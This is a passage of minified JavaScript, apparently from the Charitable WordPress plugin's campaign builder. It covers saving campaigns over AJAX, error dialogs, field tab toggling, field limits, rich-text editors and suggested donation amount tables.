a.edit-profile-link\").attr(\"href\",response.data.edit_profile_link)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},formSaveCheck:function(){if($(\"#charitable_settings_title\").val().length===0){$.alert({title:charitable_builder.error_title,content:charitable_builder.error_no_title,icon:\"fa fa-info-circle\",type:\"red\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});return false}},formSave:function(redirect,preview=false,openNewTabURL=\"\",refreshAfterSave=false){var $saveBtn=elements.$saveButton,$icon=$saveBtn.find(\"img.topbar_icon\"),$spinner=$saveBtn.find(\"i.charitable-loading-spinner\"),$label=$saveBtn.find(\"span\"),currentPostStatus=s.formSavedStatus;if($builder.hasClass(\"charitable-is-revision\")&&!$builder.hasClass(\"charitable-revision-is-saving\")){app.confirmSaveRevision();return}if(app.formSaveCheck()===false){return}if(typeof tinyMCE!==\"undefined\"){tinyMCE.triggerSave()}var event=CharitableUtils.triggerEvent($builder,\"charitableBeforeSave\");if(event.isDefaultPrevented()){return}$(\"#charitable_settings_title\").removeAttr(\"disabled\");$saveBtn.prop(\"disabled\",true);if(preview===false){$label.text(charitable_builder.saving);$icon.addClass(\"charitable-hidden\");$spinner.removeClass(\"charitable-hidden\")}app.updateFormHiddenFields();var data={action:\"charitable_save_campaign\",data:JSON.stringify($(\"#charitable-builder-form\").serializeArray()),id:s.formID,status:s.formStatus,statusLabel:s.formStatusLabel,preview:preview,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=parseInt(response.data.campaign_id);if(refreshAfterSave){if(window.location.href===app.addCampaignIDToURL(campaignID)){window.location.href=app.addCampaignIDToURL(campaignID);return}else{window.location.href=app.addCampaignIDToURL(campaignID);return}}$(\"form#charitable-builder-form\").attr(\"data-id\",campaignID);$('form#charitable-builder-form input[name=\"id\"]').val(campaignID);s.formID=campaignID;if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState(\"#charitable-builder-form\");wpchar.initialSave=false;$builder.trigger(\"charitableSaved\",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(typeof response.data.preview_url!==\"undefined\"&&response.data.preview_url.length>0){app.updatePreviewLink(response.data.preview_url)}if(preview===false){app.setCampaignSaved()}if(true===redirect){window.location.href=charitable_builder.exit_url}if(history.pushState){var newUrl=app.addCampaignIDToURL(campaignID);window.history.pushState({path:newUrl},\"\",newUrl)}else{window.location.href=app.addCampaignIDToURL(campaignID)}s.campaignID=campaignID;if((\"draft\"===currentPostStatus||\"\"===currentPostStatus)&&\"publish\"===response.data.post_status&&response.data.permalink){CharitableCampaignCongratsWizard.openPopup(s.formID,response.data.permalink)}if(\"publish\"===response.data.post_status){elements.$viewCampaignButton.removeClass(\"charitable-disabled\");elements.$viewCampaignButton.attr(\"href\",response.data.permalink);$(\"a.charitable-admin-campaign-link\").attr(\"href\",response.data.permalink);$(\"a.charitable-admin-campaign-link.show-url\").html(response.data.permalink)}else{elements.$viewCampaignButton.addClass(\"charitable-disabled\")}if(\"publish\"===response.data.post_status){elements.$embedButton.prop(\"disabled\",false).removeClass(\"charitable-disabled\")}else{elements.$embedButton.prop(\"disabled\",true).addClass(\"charitable-disabled\")}s.formSavedStatus=response.data.post_status;s.formSavedStatusLabel=response.data.post_status_label;if(openNewTabURL!==\"\"){window.open(openNewTabURL)}var campaignEmedCode=\"[campaign id=&quot;\"+campaignID+\"&quot;]\";$(\"#charitable-admin-campaign-embed-wizard-shortcode-wrap #charitable-admin-campaign-embed-wizard-shortcode\").remove();$(\"#charitable-admin-campaign-embed-wizard-shortcode-wrap\").prepend('\u003Cinput type=\"text\" id=\"charitable-admin-campaign-embed-wizard-shortcode\" class=\"charitable-admin-popup-shortcode\" value=\"'+campaignEmedCode+'\" \u002F>');$(\"#charitable-admin-campaign-embed-wizard-shortcode\").prop(\"disabled\",true);app.setCampaignTitleSet();return app.addCampaignIDToURL(campaignID)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){$label.text(charitable_builder.saved);setTimeout(function(){$label.text(charitable_builder.save)},2500);$saveBtn.prop(\"disabled\",false);$spinner.addClass(\"charitable-hidden\");$icon.removeClass(\"charitable-hidden\")})},formSaveError:function(error){if(wpchar.empty(error)){error=charitable_builder.error_save_form}$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+error+\"\u003C\u002Fp>\u003Cp>\"+charitable_builder.error_contact_support+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},formGenericError:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+error+\"\u003C\u002Fp>\u003Cp>\"+charitable_builder.error_contact_support+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},formGenericNotice:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+error+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},addCampaignIDToURL:function(campaignID){const currentURL=window.location.href,urlHasQueryString=currentURL.includes(\"?\");let updatedURL=false;if(urlHasQueryString){const queryString=window.location.search,campaignIDExists=queryString.includes(\"campaign_id\");if(campaignIDExists){updatedURL=currentURL.split(\"#\")[0];return updatedURL}else{updatedURL=currentURL.split(\"#\")[0];return updatedURL+\"&campaign_id=\"+campaignID}}else{return currentURL+\"?campaign_id=\"+campaignID}},fieldTabToggle:function(id){const event=CharitableUtils.triggerEvent($builder,\"charitableFieldTabToggle\",[id]);if(event.isDefaultPrevented()){return false}$(\".charitable-tab a\").removeClass(\"active\");$(\".charitable-field, .charitable-preview-top-bar\").removeClass(\"active\");if(id===\"add-layout\"){$(\"#add-layout a\").addClass(\"active\");$(\".charitable-field-options\").hide();$(\".charitable-add-fields\").show()}else if(id===\"layout-options\"){$(\"#layout-options a\").addClass(\"active\");$(\".charitable-add-fields\").hide();$(\".charitable-field-options\").show()}else{$(\"#charitable-field-\"+id).addClass(\"active\");$(\".charitable-field-option\").hide();$(\"#charitable-field-option-\"+id).show();$(\".charitable-add-fields\").hide();$(\".charitable-field-options\").show();$builder.trigger(\"charitableFieldOptionTabToggle\",[id])}wpCookies.set(\"charitable_panel_content_section\",id,2592e3);wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3);wpCookies.set(\"charitable_panel_design_layout_options_group\",\"\",2592e3);wpCookies.set(\"charitable_panel_tab_section_tab_id\",\"\",2592e3)},formExit:function(){if(app.formIsSaved()){window.location.href=charitable_builder.exit_url}else{$.confirm({title:false,content:\"\u003Cp>\"+charitable_builder.exit_confirm+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",closeIcon:true,buttons:{confirm:{text:charitable_builder.save_exit,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){app.formSave(true)}},cancel:{text:charitable_builder.exit,keys:[\"esc\"],action:function(){closeConfirmation=false;window.location.href=charitable_builder.exit_url}}}})}},checkFieldMax:function(type=\"\",max=99){if(type.length===0){var fieldCount=elements.$preview.find(\".charitable-field-\"+type).length;if(fieldCount\u003Cmax){elements.$panelDesign.find(\"button#charitable-add-fields-\"+type).removeClass(\"charitable-disabled\")}}else{elements.$preview.find(\".charitable-field[data-field-max!='']\").each(function(){var max=parseInt($(this).data(\"field-max\")),fieldType=$(this).data(\"field-type\"),fieldCount=typeof fieldType===\"undefined\"||fieldType.length===0?0:elements.$preview.find(\".charitable-field-\"+fieldType).length;if(!isNaN(max)&&max>0&&fieldCount>=max){elements.$panelDesign.find(\"button#charitable-add-fields-\"+fieldType).addClass(\"charitable-disabled\")}})}},checkFieldAllow:function(){wpchar.debug(\"checkFieldAllow\");$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){app.enableAddFieldButton(fieldsNotAllowedName)})});$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){wpchar.debug(\"fieldPresent: \"+fieldPresent);if(app.checkFieldIsPresent(fieldPresent)){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){if(fieldsNotAllowedAmount===0||app.getFieldAmount(fieldsNotAllowedName)>parseInt(fieldsNotAllowedAmount)){wpchar.debug(fieldsNotAllowedName+\" is not allowed\");app.disableAddFieldButton(fieldsNotAllowedName)}})}})},checkAllRecommendedFields:function(){$.each($(\".charitable-add-fields-group-recommended button\"),function(){var type=$(this).data(\"field-type\");app.checkRecommendedFields(type)})},checkRecommendedFields:function(type=false){if(!type||type.length===0){return}var numberOfFieldsByType=elements.$preview.find(\".charitable-field[data-field-type='\"+type+\"']\").length,checkForRecommended=$builder.find(\"#charitable-add-fields-\"+type).parent().find(\".charitable-check\");if(typeof checkForRecommended===\"undefined\"||checkForRecommended.length===0){return}if(numberOfFieldsByType===0){checkForRecommended.removeClass(\"checked\").addClass(\"unchecked\")}else{checkForRecommended.removeClass(\"unchecked\").addClass(\"checked\")}},disableAddFieldButton:function(fieldType){elements.$panelDesign.find(\"button#charitable-add-fields-\"+fieldType).addClass(\"charitable-disabled\")},enableAddFieldButton:function(fieldType=\"\"){elements.$panelDesign.find(\"button#charitable-add-fields-\"+fieldType).removeClass(\"charitable-disabled\")},getFieldAmount:function(fieldType=\"\"){if(fieldType.length===0){return}return elements.$preview.find(\".charitable-field-\"+fieldType).length},checkFieldIsPresent:function(fieldType=\"\"){if(fieldType.length===0){return false}if(app.getFieldAmount(fieldType)>0){return true}return false},setCloseConfirmation:function(confirm){closeConfirmation=!!confirm},formIsSaved:function(){if($(\"#charitable-builder-form input#charitable-form-saved\").val().length===0&&typeof s.formSaved!==\"undefined\"&&s.formSaved.length===0){return true}else{return false}},setCampaignTitleNotSet:function(){$(\".charitable-edit-campaign-title-label\").text(\"Name Your Campaign:\")},setCampaignTitleSet:function(){$(\".charitable-edit-campaign-title-label\").text(\"Now Editing:\")},setCampaignNotSaved:function(enablePreviewButton=false){var the_time=Date.now();$(\"#charitable-builder-form input#charitable-form-saved\").val(the_time);s.formSaved=the_time;elements.$previewButton.removeClass(\"charitable-disabled\")},setCampaignSaved:function(){$(\"#charitable-builder-form input#charitable-form-saved\").val(\"\");s.formSaved=\"\";if(typeof s.formStatus!==\"undefined\"&&s.formStatus===\"publish\"){elements.$previewButton.addClass(\"charitable-disabled\")}else{elements.$previewButton.removeClass(\"charitable-disabled\")}},bindUIMoneyTextFields:function(){$builder.on(\"keydown\",\"input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_goal\",function(e){var k=e.keyCode||e.which,ok=k==190||k==188||k==32||k==9||k==8||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k\u003C=105||(k==110||k==190)||k>=37&&k\u003C=40||k==46||k>=48&&k\u003C=57;if(!ok){e.preventDefault()}});$builder.on(\"focusout\",\"input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_maximum_donation_amount, input#charitable-panel-field-settings-campaign_goal\",function(e){var $this=$(this),val=$this.val(),decimal_separator=charitable_builder.currency_decimal_separator,thousands_separator=charitable_builder.currency_thousands_separator;if(typeof decimal_separator===\"undefined\"||decimal_separator.length===0){return}if(typeof thousands_separator===\"undefined\"||thousands_separator.length===0){return}if(val.length>0&&val.indexOf(decimal_separator)===-1){$this.val(val+decimal_separator+\"00\")}})},bindUISettingsRevealGroups:function(){$.each(elements.$settingsPanel.find(\".charitable-panel-fields-group.unfoldable\"),function(){var $this=$(this),dataGroup=$this.attr(\"data-group\"),dataGroupCookie=wpCookies.get(\"charitable_fold_\"+dataGroup);if(dataGroupCookie===\"true\"&&!$this.hasClass(\"opened\")){$this.addClass(\"opened\");$this.find(\".charitable-panel-fields-group-inner\").show()}});elements.$settingsPanel.on(\"click\",\".charitable-track-cookie\",function(e){var $this=$(this),dataGroup=$this.closest(\".unfoldable\").attr(\"data-group\");if(!$this.closest(\".unfoldable\").hasClass(\"opened\")){wpCookies.set(\"charitable_fold_\"+dataGroup,true,2592e3)}else{wpCookies.remove(\"charitable_fold_\"+dataGroup)}})},checkFieldConditionals:function(){$.each(charitable_campaign_builder_field_conditionals,function(mainUIKey,mainUIValue){var theUIElement=elements.$settingsPanel.find(mainUIKey),changeArray=mainUIValue;if(theUIElement.is('input[type=\"checkbox\"]')){elements.$settingsPanel.on(\"click\",mainUIKey,function(e){var thisUIElement=$(this),isChecked=$(this).is(\":checked\"),checkedFields=changeArray[\"checked\"],uncheckedFields=changeArray[\"unchecked\"];if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+\"\").removeClass(\"charitable-hidden\")})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){$.each(checkedFieldValue,function(hidingfieldKey,hidingfieldValue){elements.$settingsPanel.find(hidingfieldValue+\"\").addClass(\"charitable-hidden\")})})}})}if(theUIElement.is('input[type=\"radio\"]')){elements.$settingsPanel.on(\"click\",theUIElement.closest(\".charitable-panel-field-radio-options\").find('input[type=\"radio\"]'),function(e){var thisUIElement=$(theUIElement),isChecked=thisUIElement.is(\":checked\"),checkedFields=changeArray[\"checked\"],uncheckedFields=changeArray[\"unchecked\"],abort=false;if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){if(checkedFieldKey===\"if\"){$.each(checkedFieldValue,function(checkedIfFieldKey,checkedIfFieldValue){if(checkedIfFieldValue===\"checked\"&&false===elements.$settingsPanel.find(checkedIfFieldKey+\"\").is(\":checked\")){abort=true}})}if(checkedFieldKey===\"show\"&&abort===false){elements.$settingsPanel.find(checkedFieldValue+\"\").removeClass(\"charitable-hidden\")}else if(checkedFieldKey===\"show\"&&abort===true){elements.$settingsPanel.find(checkedFieldValue+\"\").addClass(\"charitable-hidden\")}})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+\"\").addClass(\"charitable-hidden\")})}})}})},isBuilderInPopup:function(){return window.self!==window.parent&&window.self.frameElement.id===\"charitable-builder-iframe\"},bindUIActionsGeneral:function(){$builder.on(\"click\",\".charitable-panel-fields-group.unfoldable .charitable-panel-fields-group-title\",app.toggleUnfoldableGroup);$builder.on(\"click\",\".go-to-settings-button\",function(e){e.preventDefault();app.panelSwitch(\"settings\");var $this=$(this),section=$this.data(\"settings-section\"),$panel=$(\".charitable-panel-sidebar-content\"),$sectionButtons=$panel.find(\".charitable-panel-sidebar-section\"),$sectionButton=$panel.find(\".charitable-panel-sidebar-section-\"+section),cookieName=\"charitable_panel_sidebar_section\";if(!$sectionButton.hasClass(\"active\")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton);wpCookies.set(cookieName,section,2592e3)}});$builder.on(\"click\",\"#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-primary, #charitable-builder-mobile-notice .close\",function(){window.location.href=charitable_builder.exit_url});$builder.on(\"click\",\"#charitable-builder-mobile-notice .charitable-fullscreen-notice-button-secondary\",function(){window.location.href=wpchar.updateQueryString(\"force_desktop_view\",1,window.location.href)})},initFeedbackForms:function($element){var theForm=$element.closest(\".charitable-form\"),theConfirmation=theForm.find(\".charitable-feedback-form-interior-confirmation\"),data={name:theForm.find(\".charitable-feedback-form-name\").val(),email:theForm.find(\".charitable-feedback-form-email\").val(),feedback:theForm.find(\".charitable-feedback-form-feedback\").val(),type:theForm.find(\".charitable-feedback-form-type\").val()};if(\"\"===data.name||\"\"===data.email||\"\"===data.feedback){$.alert({title:false,content:charitable_builder.feedback_form_fields_required,icon:\"fa fa-info-circle\",type:\"red\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"esc\"],action:function(){}}}})}else{$element.addClass(\"charitable-disabled\");theForm.addClass(\"charitable-processing\");theForm.find(\".charitable-loading-spinner\").removeClass(\"charitable-hidden\");var ajaxData={action:\"charitable_campaign_builder_send_feedback_ajax\",dataType:\"json\",data:data,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$element.removeClass(\"charitable-disabled\");theForm.removeClass(\"charitable-processing\");theForm.find(\".charitable-feedback-form-interior\").addClass(\"charitable-hidden\");theConfirmation.removeClass(\"charitable-hidden\");theConfirmation.find(\".charitable-form-confirmation\").removeClass(\"charitable-hidden\")}}).fail(function(xhr,textStatus,e){}).always(function(){})}},toggleUnfoldableGroup:function(e){e.preventDefault();var $title=$(e.target),$group=$title.closest(\".charitable-panel-fields-group\"),$inner=$group.find(\".charitable-panel-fields-group-inner\"),cookieName=\"charitable_fields_group_\"+$group.data(\"group\");if($group.hasClass(\"opened\")){wpCookies.remove(cookieName);$inner.stop().slideUp(150,function(){$group.removeClass(\"opened\")})}else{wpCookies.set(cookieName,\"true\",2592e3);$group.addClass(\"opened\");$inner.stop().slideDown(150)}},updateDebugWindow:function(data,campaignID=0){var ajaxData={action:\"charitable_update_debug_window_ajax\",dataType:\"json\",data:data,id:campaignID,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,ajaxData,function(response){if(response.success){$(\".charitable-debug\").html(response.data)}}).fail(function(xhr,textStatus,e){}).always(function(){})},dismissNotice:function(){$builder.on(\"click\",\".charitable-alert-field-not-available .charitable-dismiss-button\",function(e){e.preventDefault();var $button=$(this),$alert=$button.closest(\".charitable-alert\"),fieldId=$button.data(\"field-id\");$alert.addClass(\"out\");setTimeout(function(){$alert.remove()},250);if(fieldId){$(\"#charitable-field-option-\"+fieldId).remove()}})},initHTMLEditorFields:function($element,minmum=false){if($.inArray($element.attr(\"id\"),s.quilled)==-1){var $container_id=\"#\"+$element.attr(\"id\"),div_height=200,textarea_name=$element.data(\"textarea-name\");if(minmum!==false){var toolbarOptions=[\"bold\",\"italic\",\"underline\",\"strike\"];var quill=new Quill($container_id,{debug:\"info\",theme:\"snow\",modules:{toolbar:toolbarOptions}});$($container_id).css(\"height\",div_height+\"px\");$($container_id).css(\"min-height\",div_height+\"px\");quill.focus;s.quilled.push($element.attr(\"id\"))}else{var quill=new Quill($container_id,{theme:\"snow\"});quill.focus;s.quilled.push($element.attr(\"id\"))}$($container_id).on(\"focus\",\".ql-editor\",function(){var contents=$element.find(\".ql-editor\").html();if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"campaign_description\"){$(\"#charitable-panel-field-settings-campaign_description .ql-editor\").html(contents);elements.$preview.find(\".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\");s.campaignDescription=contents}});quill.on(\"text-change\",function(delta,oldDelta,source){var contents=$element.find(\".ql-editor\").html(),tab_id=$element.closest(\".charitable-group-row\").data(\"tab-id\"),field_id=$element.closest(\".charitable-panel-field\").data(\"field-id\");app.setCampaignNotSaved();$('input[name=\"'+textarea_name+'\"]').val(contents);if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"campaign_description\"){if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\".charitable-campaign-builder-no-description-preview\").removeClass(\"charitable-hidden\");elements.$preview.find(\".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\u003C\u002Fdiv>\");s.campaignDescription=\"\"}else{elements.$preview.find(\".charitable-field-campaign-description .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\");s.campaignDescription=contents}$(\"#charitable-panel-field-settings-campaign_description .ql-editor\").html(contents)}if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"campaign_overview\"){if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\".charitable-campaign-builder-no-overview-preview\").removeClass(\"charitable-hidden\");elements.$preview.find(\".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\u003C\u002Fdiv>\");s.campaignDescription=\"\"}else{elements.$preview.find(\".charitable-field-campaign-overview .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\");s.campaignDescription=contents}$(\"#charitable-panel-field-settings-campaign_overview .ql-editor\").html(contents)}if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"organizer_content\"){field_id=parseInt($element.closest(\".charitable-panel-field-textarea\").data(\"field-id\"));if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-organizer-description\").html(\"\u003Cdiv>\u003C\u002Fdiv>\")}else{elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-organizer-description\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\")}}if($element.closest(\".charitable-panel-field-textarea\").attr(\"data-special-type\")===\"text\"){field_id=parseInt($element.closest(\".charitable-panel-field-textarea\").data(\"field-id\"));if($.trim(app.removeTags(contents))===\"\"){elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\u003C\u002Fdiv>\")}else{elements.$preview.find(\"#charitable-field-\"+field_id+\" .charitable-campaign-builder-placeholder-preview-text\").html(\"\u003Cdiv>\"+contents+\"\u003C\u002Fdiv>\")}}if(minmum!==false){var div_height=parseInt($element.find(\".ql-editor\").height()\u002F2);$(\"#tab_\"+tab_id+\"_content .placeholder.big\").css(\"min-height\",div_height+\"px\")}})}else{}},initSuggestedDonations:function($element){wpchar.debug($element,\"initSuggestedDonations\");var $table=$element.closest(\".charitable-campaign-suggested-donations\"),$add_row_button=$element.find(\"[data-charitable-add-row]\"),donation_type=$add_row_button.data(\"charitable-add-row\"),$delete_row_button=$element.find(\".charitable-delete-row\");$add_row_button.on(\"click\",function(event){event.preventDefault();event.stopImmediatePropagation();var type=$(this).data(\"charitable-add-row\");if(\"suggested-amount\"===type){app.add_suggested_amount_row($(this))}else if(\"suggested-recurring-amount\"===type){app.add_suggested_amount_row($(this),\"recurring\")}app.initSuggestedDonations($element);return false});$delete_row_button.on(\"click\",function(event){event.preventDefault();event.stopImmediatePropagation();var donation_type=$(this).closest(\".charitable-campaign-suggested-donations\").find(\"[data-charitable-add-row]\").data(\"charitable-add-row\");if(\"suggested-amount\"===donation_type){app.delete_suggested_amount_row($(this))}else if(\"suggested-recurring-amount\"===donation_type){app.delete_suggested_amount_row($(this),\"recurring\")}app.initSuggestedDonations($element);return false});$(\".charitable-campaign-suggested-donations tbody\").sortable({items:\"tr:not(.to-copy)\",handle:\".handle\",stop:function(event,ui){app.reindex_rows();$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.updateSuggestdDonationsMiniRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this))})}});$table.on(\"click\",\"th.default_amount-col a, a.charitable-clear-defaults\",function(){$table.find(\".default_amount-col input\").prop(\"checked\",false);$(this).blur();return false});$table.on(\"change\",'input[type=\"radio\"]',function(){app.redrawDonationAmountsPreview($table)})},updateSuggestdDonationsMiniRowsFromSettings:function($element,field_id=0){if(0===field_id){field_id=$element.closest(\".charitable-panel-field\").data(\"field-id\")}$element.find(\"tbody\").children(\"tr\").not(\".to-copy\").remove();$(\"#campaign_donation_amounts tbody\").children(\"tr\").not(\".no-suggested-amounts\").not(\".to-copy\").each(function(index){var row_to_add=\"\",updatedIndex=index+1,updatedDonationValue=$(this).find(\".amount-col input\").val(),isChecked=$(this).find(\".default_amount-col input\").is(\":checked\")?\"checked\":\"\";row_to_add=row_to_add+'\u003Ctr class=\"\" data-index=\"'+updatedIndex+'\">';row_to_add=row_to_add+'\u003Ctd class=\"reorder-col\">\u003Cspan class=\"charitable-icon charitable-icon-donations-grab handle ui-sortable-handle\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"default_amount-col\">\u003Cinput '+isChecked+' type=\"radio\" class=\"campaign_suggested_donations\" name=\"_fields]['+field_id+'][donation_amounts][campaign_suggested_donations_default][]\" value=\"'+updatedIndex+'\">\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"amount-col\">\u003Cinput autocomplete=\"false\" type=\"text\" class=\"campaign_suggested_donations\" name=\"_fields]['+field_id+\"][donation_amounts][\"+updatedIndex+'][amount]\" value=\"'+updatedDonationValue+'\" placeholder=\"Amount\">\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"description-col\">\u003Cinput type=\"text\" class=\"campaign_suggested_donations\" name=\"_fields]['+field_id+\"][donation_amounts][\"+updatedIndex+'][description]\" value=\"This is a small donation.\" placeholder=\"Optional Description\">';row_to_add=row_to_add+\"\u003C\u002Ftd>\";row_to_add=row_to_add+'\u003Ctd class=\"remove-col\">\u003Cspan class=\"dashicons-before dashicons-dismiss charitable-delete-row\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+\"\u003C\u002Ftr>\";$element.find(\"tbody\").append(row_to_add)});return $element},updateSuggestdDonationsRowsFromSettings:function($miniTableTBody,$element){if(typeof $element===\"undefined\"||$element.length===0){$element=$(\"#campaign_donation_amounts\")}$element.find(\"tbody\").children(\"tr\").not(\".to-copy\").remove();$miniTableTBody.children(\"tr\").not(\".no-suggested-amounts\").not(\".to-copy\").each(function(index){var row_to_add=\"\",updatedIndex=index+1,updatedDonationValue=$(this).find(\".amount-col input\").val(),isChecked=$(this).find(\".default_amount-col input\").is(\":checked\")?\"checked\":\"\";row_to_add=row_to_add+'\u003Ctr class=\"\" data-index=\"'+updatedIndex+'\">';row_to_add=row_to_add+'\u003Ctd class=\"reorder-col\">\u003Cspan class=\"charitable-icon charitable-icon-donations-grab handle ui-sortable-handle\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+'\u003Ctd class=\"default_amount-col\">\u003Cinput '+isChecked+' type=\"radio\" class=\"campaign_suggested_donations\" name=\"settings][donation-options][donation_amounts][campaign_suggested_donations_default][]\" value=\"'+updatedIndex+'\">';row_to_add=row_to_add+'\u003Ctd class=\"amount-col\">\u003Cinput autocomplete=\"off\" type=\"text\" class=\"campaign_suggested_donations\" name=\"settings][donation-options][donation_amounts]['+updatedIndex+'][amount]\" value=\"'+updatedDonationValue+'\" placeholder=\"Amount\">';row_to_add=row_to_add+'\u003Ctd class=\"description-col\">\u003Cinput type=\"text\" class=\"campaign_suggested_donations\" name=\"settings][donation-options][donation_amounts]['+updatedIndex+'][description]\" value=\"This is a small donation.\" placeholder=\"Optional Description\">';row_to_add=row_to_add+\"\u003C\u002Ftd>\";row_to_add=row_to_add+'\u003Ctd class=\"remove-col\">\u003Cspan class=\"dashicons-before dashicons-dismiss charitable-delete-row\">\u003C\u002Fspan>\u003C\u002Ftd>';row_to_add=row_to_add+\"\u003C\u002Ftr>\";$element.find(\"tbody\").append(row_to_add)});return $element},initSuggestedDonationsMini:function($element){wpchar.debug($element,\"initSuggestedDonationsMini\");wpchar.debug(\"initSuggestedDonationsMini\");var field_id=$element.closest(\".charitable-panel-field\").data(\"field-id\");wpchar.debug($element,\"initSuggestedDonationsMini\");app.updateSuggestdDonationsMiniRowsFromSettings($element,field_id);wpchar.debug($element,\"initSuggestedDonationsMini2\");app.redrawDonationAmountsPreview($element);wpchar.debug($element,\"initSuggestedDonationsMini3\");var $table=$element.closest(\".charitable-campaign-suggested-donations-mini\"),$add_row_button=$element.find(\"[data-charitable-add-row]\");$add_row_button.on(\"click\",function(){var type=$(this).data(\"charitable-add-row\");if(\"suggested-amount\"===type){wpchar.debug(\"type is suggesetd amount\");wpchar.debug($(this));app.add_suggested_amount_row($(this),\"mini\")}return false});$(\".charitable-campaign-suggested-donations-mini tbody\").sortable({items:\"tr:not(.to-copy)\",handle:\".handle\",stop:function(event,ui){wpchar.debug(\"sortable test mini \");app.reindex_rows(\"mini\");app.updateSuggestdDonationsRowsFromSettings($(this));app.redrawDonationAmountsPreview($(this).parent())}});$table.on(\"click\",\".charitable-delete-row\",function(){app.delete_suggested_amount_row($(this),\"mini\");return false});$table.on(\"click\",\"th.default_amount-col a\",function(){$table.find(\".default_amount-col input\").prop(\"checked\",false);$(this).blur();return false});$table.on(\"change\",'input[type=\"radio\"]',function(){app.redrawDonationAmountsPreview($table);var radioButtonValue=$(this).val();$builder.find(\".charitable-campaign-suggested-donations-table\").find('input[type=\"radio\"]').prop(\"checked\",false);$builder.find(\".charitable-campaign-suggested-donations-table\").each(function(){$(this).find('input[type=\"radio\"][value=\"'+radioButtonValue+'\"]').prop(\"checked\",true)})})},add_suggested_amount_row:function($button,type=\"\"){wpchar.debug(\"add_suggested_amount_row\");wpchar.debug(\".charitable-campaign-suggested-donations\"+type);const $donations_table=type===\"recurring\"?$builder.find(\".charitable-campaign-suggested-recurring-donations-table\"):$builder.find(\".charitable-campaign-suggested-donations-table\");$donations_table.each(function(){wpchar.debug($(this));var $table=$(this).closest(\"table\").find(\"tbody\"),$clone=$table.find(\"tr.to-copy\").clone().removeClass(\"to-copy hidden\");var 